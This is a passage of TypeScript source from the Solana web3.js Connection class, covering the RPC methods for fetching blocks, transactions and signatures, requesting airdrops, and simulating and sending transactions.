blockhash: Blockhash,\n rawConfig?: IsBlockhashValidConfig,\n ): Promise<RpcResponseAndContext<boolean>> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgs(\n [blockhash],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('isBlockhashValid', args);\n const res = create(unsafeRes, IsBlockhashValidRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to determine if the blockhash `' + blockhash + '`is valid',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the node version\n */\n async getVersion(): Promise<Version> {\n const unsafeRes = await this._rpcRequest('getVersion', []);\n const res = create(unsafeRes, jsonRpcResult(VersionResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get version');\n }\n return res.result;\n }\n\n /**\n * Fetch the genesis hash\n */\n async getGenesisHash(): Promise<string> {\n const unsafeRes = await this._rpcRequest('getGenesisHash', []);\n const res = create(unsafeRes, jsonRpcResult(string()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get genesis hash');\n }\n return res.result;\n }\n\n /**\n * Fetch a processed block from the cluster.\n *\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n async getBlock(\n slot: number,\n rawConfig?: GetBlockConfig,\n ): Promise<BlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<AccountsModeBlockResponse | null>;\n\n /**\n * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by\n * setting the `maxSupportedTransactionVersion` property.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetBlockConfig & {transactionDetails: 'none'},\n ): Promise<NoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<VersionedBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<VersionedAccountsModeBlockResponse | null>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<VersionedNoneModeBlockResponse | null>;\n\n /**\n * Fetch a processed block from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | VersionedBlockResponse\n | VersionedAccountsModeBlockResponse\n | VersionedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n const {result} = res;\n return result\n ? {\n ...result,\n transactions: result.transactions.map(\n ({transaction, meta, version}) => ({\n meta,\n transaction: {\n ...transaction,\n message: versionedMessageFromResponse(\n version,\n transaction.message,\n ),\n },\n version,\n }),\n ),\n }\n : null;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(\n e as JSONRPCError,\n 'failed to get confirmed block',\n );\n }\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized block\n */\n async getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'accounts'},\n ): Promise<ParsedAccountsModeBlockResponse>;\n\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig: GetVersionedBlockConfig & {transactionDetails: 'none'},\n ): Promise<ParsedNoneModeBlockResponse>;\n // eslint-disable-next-line no-dupe-class-members\n async getParsedBlock(\n slot: number,\n rawConfig?: GetVersionedBlockConfig,\n ): Promise<\n | ParsedBlockResponse\n | ParsedAccountsModeBlockResponse\n | ParsedNoneModeBlockResponse\n | null\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n try {\n switch (config?.transactionDetails) {\n case 'accounts': {\n const res = create(unsafeRes, GetParsedAccountsModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n case 'none': {\n const res = create(unsafeRes, GetParsedNoneModeBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n default: {\n const res = create(unsafeRes, GetParsedBlockRpcResult);\n if ('error' in res) {\n throw res.error;\n }\n return res.result;\n }\n }\n } catch (e) {\n throw new SolanaJSONRPCError(e as JSONRPCError, 'failed to get block');\n }\n }\n\n /*\n * Returns the current block height of the node\n */\n getBlockHeight = (() => {\n const requestPromises: {[hash: string]: Promise<number>} = {};\n return async (\n commitmentOrConfig?: Commitment | GetBlockHeightConfig,\n ): Promise<number> => {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [],\n commitment,\n undefined /* encoding */,\n config,\n );\n const requestHash = fastStableStringify(args);\n requestPromises[requestHash] =\n requestPromises[requestHash] ??\n (async () => {\n try {\n const unsafeRes = await this._rpcRequest('getBlockHeight', args);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block height information',\n );\n }\n return res.result;\n } finally {\n delete requestPromises[requestHash];\n }\n })();\n return await requestPromises[requestHash];\n };\n })();\n\n /*\n * Returns recent block production information from the current or previous epoch\n */\n async getBlockProduction(\n configOrCommitment?: GetBlockProductionConfig | Commitment,\n ): Promise<RpcResponseAndContext<BlockProduction>> {\n let extra: Omit<GetBlockProductionConfig, 'commitment'> | undefined;\n let commitment: Commitment | undefined;\n\n if (typeof configOrCommitment === 'string') {\n commitment = configOrCommitment;\n } else if (configOrCommitment) {\n const {commitment: c, ...rest} = configOrCommitment;\n commitment = c;\n extra = rest;\n }\n\n const args = this._buildArgs([], commitment, 'base64', extra);\n const unsafeRes = await this._rpcRequest('getBlockProduction', args);\n const res = create(unsafeRes, BlockProductionResponseStruct);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get block production information',\n );\n }\n\n return res.result;\n }\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n *\n * @deprecated Instead, call `getTransaction` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransaction(\n signature: string,\n rawConfig?: GetTransactionConfig,\n ): Promise<TransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null>;\n\n /**\n * Fetch a confirmed or finalized transaction from the cluster.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransaction(\n signature: string,\n rawConfig?: GetVersionedTransactionConfig,\n ): Promise<VersionedTransactionResponse | null> {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed or finalized transaction\n */\n async getParsedTransaction(\n signature: TransactionSignature,\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<ParsedTransactionWithMeta | null> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n */\n async getParsedTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetVersionedTransactionConfig | Finality,\n ): Promise<(ParsedTransactionWithMeta | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n 'jsonParsed',\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link TransactionResponse}.\n *\n * @deprecated Instead, call `getTransactions` using a\n * `GetVersionedTransactionConfig` by setting the\n * `maxSupportedTransactionVersion` property.\n */\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig?: GetTransactionConfig | Finality,\n ): Promise<(TransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]>;\n\n /**\n * Fetch transaction details for a batch of confirmed transactions.\n * Similar to {@link getParsedTransactions} but returns a {@link\n * VersionedTransactionResponse}.\n */\n // eslint-disable-next-line no-dupe-class-members\n async getTransactions(\n signatures: TransactionSignature[],\n commitmentOrConfig: GetVersionedTransactionConfig | Finality,\n ): Promise<(VersionedTransactionResponse | null)[]> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment as Finality,\n undefined /* encoding */,\n config,\n );\n return {\n methodName: 'getTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transactions');\n }\n const result = res.result;\n if (!result) return result;\n\n return {\n ...result,\n transaction: {\n ...result.transaction,\n message: versionedMessageFromResponse(\n result.version,\n result.transaction.message,\n ),\n },\n };\n });\n\n return res;\n }\n\n /**\n * Fetch a list of Transactions and transaction statuses from the cluster\n * for a confirmed block.\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlock} instead.\n */\n async getConfirmedBlock(\n slot: number,\n commitment?: Finality,\n ): Promise<ConfirmedBlock> {\n const args = this._buildArgsAtLeastConfirmed([slot], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetConfirmedBlockRpcResult);\n\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n\n const block = {\n ...result,\n transactions: result.transactions.map(({transaction, meta}) => {\n const message = new Message(transaction.message);\n return {\n meta,\n transaction: {\n ...transaction,\n message,\n },\n };\n }),\n };\n\n return {\n ...block,\n transactions: block.transactions.map(({transaction, meta}) => {\n return {\n meta,\n transaction: Transaction.populate(\n transaction.message,\n transaction.signatures,\n ),\n };\n }),\n };\n }\n\n /**\n * Fetch confirmed blocks between two slots\n */\n async getBlocks(\n startSlot: number,\n endSlot?: number,\n commitment?: Finality,\n ): Promise<Array<number>> {\n const args = this._buildArgsAtLeastConfirmed(\n endSlot !== undefined ? [startSlot, endSlot] : [startSlot],\n commitment,\n );\n const unsafeRes = await this._rpcRequest('getBlocks', args);\n const res = create(unsafeRes, jsonRpcResult(array(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get blocks');\n }\n return res.result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a block, excluding rewards\n */\n async getBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a list of Signatures from the cluster for a confirmed block, excluding rewards\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlockSignatures} instead.\n */\n async getConfirmedBlockSignatures(\n slot: number,\n commitment?: Finality,\n ): Promise<BlockSignatures> {\n const args = this._buildArgsAtLeastConfirmed(\n [slot],\n commitment,\n undefined,\n {\n transactionDetails: 'signatures',\n rewards: false,\n },\n );\n const unsafeRes = await this._rpcRequest('getConfirmedBlock', args);\n const res = create(unsafeRes, GetBlockSignaturesRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block');\n }\n const result = res.result;\n if (!result) {\n throw new Error('Confirmed block ' + slot + ' not found');\n }\n return result;\n }\n\n /**\n * Fetch a transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getTransaction} instead.\n */\n async getConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed([signature], commitment);\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get transaction');\n }\n\n const result = res.result;\n if (!result) return result;\n\n const message = new Message(result.transaction.message);\n const signatures = result.transaction.signatures;\n return {\n ...result,\n transaction: Transaction.populate(message, signatures),\n };\n }\n\n /**\n * Fetch parsed transaction details for a confirmed transaction\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransaction} instead.\n */\n async getParsedConfirmedTransaction(\n signature: TransactionSignature,\n commitment?: Finality,\n ): Promise<ParsedConfirmedTransaction | null> {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args);\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transaction',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed transaction details for a batch of confirmed transactions\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransactions} instead.\n */\n async getParsedConfirmedTransactions(\n signatures: TransactionSignature[],\n commitment?: Finality,\n ): Promise<(ParsedConfirmedTransaction | null)[]> {\n const batch = signatures.map(signature => {\n const args = this._buildArgsAtLeastConfirmed(\n [signature],\n commitment,\n 'jsonParsed',\n );\n return {\n methodName: 'getConfirmedTransaction',\n args,\n };\n });\n\n const unsafeRes = await this._rpcBatchRequest(batch);\n const res = unsafeRes.map((unsafeRes: any) => {\n const res = create(unsafeRes, GetParsedTransactionRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed transactions',\n );\n }\n return res.result;\n });\n\n return res;\n }\n\n /**\n * Fetch a list of all the confirmed signatures for transactions involving an address\n * within a specified slot range. Max range allowed is 10,000 slots.\n *\n * @deprecated Deprecated since RPC v1.3. Please use {@link getConfirmedSignaturesForAddress2} instead.\n *\n * @param address queried address\n * @param startSlot start slot, inclusive\n * @param endSlot end slot, inclusive\n */\n async getConfirmedSignaturesForAddress(\n address: PublicKey,\n startSlot: number,\n endSlot: number,\n ): Promise<Array<TransactionSignature>> {\n let options: any = {};\n\n let firstAvailableBlock = await this.getFirstAvailableBlock();\n while (!('until' in options)) {\n startSlot--;\n if (startSlot <= 0 || startSlot < firstAvailableBlock) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(\n startSlot,\n 'finalized',\n );\n if (block.signatures.length > 0) {\n options.until =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if (err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n let highestConfirmedRoot = await this.getSlot('finalized');\n while (!('before' in options)) {\n endSlot++;\n if (endSlot > highestConfirmedRoot) {\n break;\n }\n\n try {\n const block = await this.getConfirmedBlockSignatures(endSlot);\n if (block.signatures.length > 0) {\n options.before =\n block.signatures[block.signatures.length - 1].toString();\n }\n } catch (err) {\n if (err instanceof Error && err.message.includes('skipped')) {\n continue;\n } else {\n throw err;\n }\n }\n }\n\n const confirmedSignatureInfo = await this.getConfirmedSignaturesForAddress2(\n address,\n options,\n );\n return confirmedSignatureInfo.map(info => info.signature);\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n * @deprecated Deprecated since RPC v1.7.0. Please use {@link getSignaturesForAddress} instead.\n */\n async getConfirmedSignaturesForAddress2(\n address: PublicKey,\n options?: ConfirmedSignaturesForAddress2Options,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest(\n 'getConfirmedSignaturesForAddress2',\n args,\n );\n const res = create(unsafeRes, GetConfirmedSignaturesForAddress2RpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get confirmed signatures for address',\n );\n }\n return res.result;\n }\n\n /**\n * Returns confirmed signatures for transactions involving an\n * address backwards in time from the provided signature or most recent confirmed block\n *\n *\n * @param address queried address\n * @param options\n */\n async getSignaturesForAddress(\n address: PublicKey,\n options?: SignaturesForAddressOptions,\n commitment?: Finality,\n ): Promise<Array<ConfirmedSignatureInfo>> {\n const args = this._buildArgsAtLeastConfirmed(\n [address.toBase58()],\n commitment,\n undefined,\n options,\n );\n const unsafeRes = await this._rpcRequest('getSignaturesForAddress', args);\n const res = create(unsafeRes, GetSignaturesForAddressRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get signatures for address',\n );\n }\n return res.result;\n }\n\n async getAddressLookupTable(\n accountKey: PublicKey,\n config?: GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AddressLookupTableAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n accountKey,\n config,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = new AddressLookupTableAccount({\n key: accountKey,\n state: AddressLookupTableAccount.deserialize(accountInfo.data),\n });\n }\n\n return {\n context,\n value,\n };\n }\n\n /**\n * Fetch the contents of a Nonce account from the cluster, return with context\n */\n async getNonceAndContext(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceAndContextConfig,\n ): Promise<RpcResponseAndContext<NonceAccount | null>> {\n const {context, value: accountInfo} = await this.getAccountInfoAndContext(\n nonceAccount,\n commitmentOrConfig,\n );\n\n let value = null;\n if (accountInfo !== null) {\n value = NonceAccount.fromAccountData(accountInfo.data);\n }\n\n return {\n context,\n value,\n };\n }\n\n /**\n * Fetch the contents of a Nonce account from the cluster\n */\n async getNonce(\n nonceAccount: PublicKey,\n commitmentOrConfig?: Commitment | GetNonceConfig,\n ): Promise<NonceAccount | null> {\n return await this.getNonceAndContext(nonceAccount, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get nonce for account ' +\n nonceAccount.toBase58() +\n ': ' +\n e,\n );\n });\n }\n\n /**\n * Request an allocation of lamports to the specified address\n *\n * ```typescript\n * import { Connection, PublicKey, LAMPORTS_PER_SOL } from \"@solana/web3.js\";\n *\n * (async () => {\n * const connection = new Connection(\"https://api.testnet.solana.com\", \"confirmed\");\n * const myAddress = new PublicKey(\"2nr1bHFT86W9tGnyvmYW4vcHKsQB3sVQfnddasz4kExM\");\n * const signature = await connection.requestAirdrop(myAddress, LAMPORTS_PER_SOL);\n * await connection.confirmTransaction(signature);\n * })();\n * ```\n */\n async requestAirdrop(\n to: PublicKey,\n lamports: number,\n ): Promise<TransactionSignature> {\n const unsafeRes = await this._rpcRequest('requestAirdrop', [\n to.toBase58(),\n lamports,\n ]);\n const res = create(unsafeRes, RequestAirdropRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `airdrop to ${to.toBase58()} failed`,\n );\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n async _blockhashWithExpiryBlockHeight(\n disableCache: boolean,\n ): Promise<BlockhashWithExpiryBlockHeight> {\n if (!disableCache) {\n // Wait for polling to finish\n while (this._pollingBlockhash) {\n await sleep(100);\n }\n const timeSinceFetch = Date.now() - this._blockhashInfo.lastFetch;\n const expired = timeSinceFetch >= BLOCKHASH_CACHE_TIMEOUT_MS;\n if (this._blockhashInfo.latestBlockhash !== null && !expired) {\n return this._blockhashInfo.latestBlockhash;\n }\n }\n\n return await this._pollNewBlockhash();\n }\n\n /**\n * @internal\n */\n async _pollNewBlockhash(): Promise<BlockhashWithExpiryBlockHeight> {\n this._pollingBlockhash = true;\n try {\n const startTime = Date.now();\n const cachedLatestBlockhash = this._blockhashInfo.latestBlockhash;\n const cachedBlockhash = cachedLatestBlockhash\n ? cachedLatestBlockhash.blockhash\n : null;\n for (let i = 0; i < 50; i++) {\n const latestBlockhash = await this.getLatestBlockhash('finalized');\n\n if (cachedBlockhash !== latestBlockhash.blockhash) {\n this._blockhashInfo = {\n latestBlockhash,\n lastFetch: Date.now(),\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n return latestBlockhash;\n }\n\n // Sleep for approximately half a slot\n await sleep(MS_PER_SLOT / 2);\n }\n\n throw new Error(\n `Unable to obtain a new blockhash after ${Date.now() - startTime}ms`,\n );\n } finally {\n this._pollingBlockhash = false;\n }\n }\n\n /**\n * get the stake minimum delegation\n */\n async getStakeMinimumDelegation(\n config?: GetStakeMinimumDelegationConfig,\n ): Promise<RpcResponseAndContext<number>> {\n const {commitment, config: configArg} = extractCommitmentFromConfig(config);\n const args = this._buildArgs([], commitment, 'base64', configArg);\n const unsafeRes = await this._rpcRequest('getStakeMinimumDelegation', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get stake minimum delegation`,\n );\n }\n return res.result;\n }\n\n /**\n * Simulate a transaction\n *\n * @deprecated Instead, call {@link simulateTransaction} with {@link\n * VersionedTransaction} and {@link SimulateTransactionConfig} parameters\n */\n simulateTransaction(\n transactionOrMessage: Transaction | Message,\n signers?: Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n simulateTransaction(\n transaction: VersionedTransaction,\n config?: SimulateTransactionConfig,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>>;\n\n /**\n * Simulate a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async simulateTransaction(\n transactionOrMessage: VersionedTransaction | Transaction | Message,\n configOrSigners?: SimulateTransactionConfig | Array<Signer>,\n includeAccounts?: boolean | Array<PublicKey>,\n ): Promise<RpcResponseAndContext<SimulatedTransactionResponse>> {\n if ('message' in transactionOrMessage) {\n const versionedTx = transactionOrMessage;\n const wireTransaction = versionedTx.serialize();\n const encodedTransaction =\n Buffer.from(wireTransaction).toString('base64');\n if (Array.isArray(configOrSigners) || includeAccounts !== undefined) {\n throw new Error('Invalid arguments');\n }\n\n const config: any = configOrSigners || {};\n config.encoding = 'base64';\n if (!('commitment' in config)) {\n config.commitment = this.commitment;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n throw new Error('failed to simulate transaction: ' + res.error.message);\n }\n return res.result;\n }\n\n let transaction;\n if (transactionOrMessage instanceof Transaction) {\n let originalTx: Transaction = transactionOrMessage;\n transaction = new Transaction();\n transaction.feePayer = originalTx.feePayer;\n transaction.instructions = transactionOrMessage.instructions;\n transaction.nonceInfo = originalTx.nonceInfo;\n transaction.signatures = originalTx.signatures;\n } else {\n transaction = Transaction.populate(transactionOrMessage);\n // HACK: this function relies on mutating the populated transaction\n transaction._message = transaction._json = undefined;\n }\n\n if (configOrSigners !== undefined && !Array.isArray(configOrSigners)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = configOrSigners;\n if (transaction.nonceInfo && signers) {\n transaction.sign(...signers);\n } else {\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n\n if (!signers) break;\n\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (\n !this._blockhashInfo.simulatedSignatures.includes(signature) &&\n !this._blockhashInfo.transactionSignatures.includes(signature)\n ) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.simulatedSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const message = transaction._compile();\n const signData = message.serialize();\n const wireTransaction = transaction._serialize(signData);\n const encodedTransaction = wireTransaction.toString('base64');\n const config: any = {\n encoding: 'base64',\n commitment: this.commitment,\n };\n\n if (includeAccounts) {\n const addresses = (\n Array.isArray(includeAccounts)\n ? includeAccounts\n : message.nonProgramIds()\n ).map(key => key.toBase58());\n\n config['accounts'] = {\n encoding: 'base64',\n addresses,\n };\n }\n\n if (signers) {\n config.sigVerify = true;\n }\n\n if (\n configOrSigners &&\n typeof configOrSigners === 'object' &&\n 'innerInstructions' in configOrSigners\n ) {\n config.innerInstructions = configOrSigners.innerInstructions;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('simulateTransaction', args);\n const res = create(unsafeRes, SimulatedTransactionResponseStruct);\n if ('error' in res) {\n let logs;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n if (logs && Array.isArray(logs)) {\n const traceIndent = '\\n ';\n const logTrace = traceIndent + logs.join(traceIndent);\n console.error(res.error.message, logTrace);\n }\n }\n\n throw new SendTransactionError({\n action: 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * Sign and send a transaction\n *\n * @deprecated Instead, call {@link sendTransaction} with a {@link\n * VersionedTransaction}\n */\n sendTransaction(\n transaction: Transaction,\n signers: Array<Signer>,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Send a signed transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n sendTransaction(\n transaction: VersionedTransaction,\n options?: SendOptions,\n ): Promise<TransactionSignature>;\n\n /**\n * Sign and send a transaction\n */\n // eslint-disable-next-line no-dupe-class-members\n async sendTransaction(\n transaction: VersionedTransaction | Transaction,\n signersOrOptions?: Array<Signer> | SendOptions,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n if ('version' in transaction) {\n if (signersOrOptions && Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, signersOrOptions);\n }\n\n if (signersOrOptions === undefined || !Array.isArray(signersOrOptions)) {\n throw new Error('Invalid arguments');\n }\n\n const signers = signersOrOptions;\n if (transaction.nonceInfo) {\n transaction.sign(...signers);\n } else 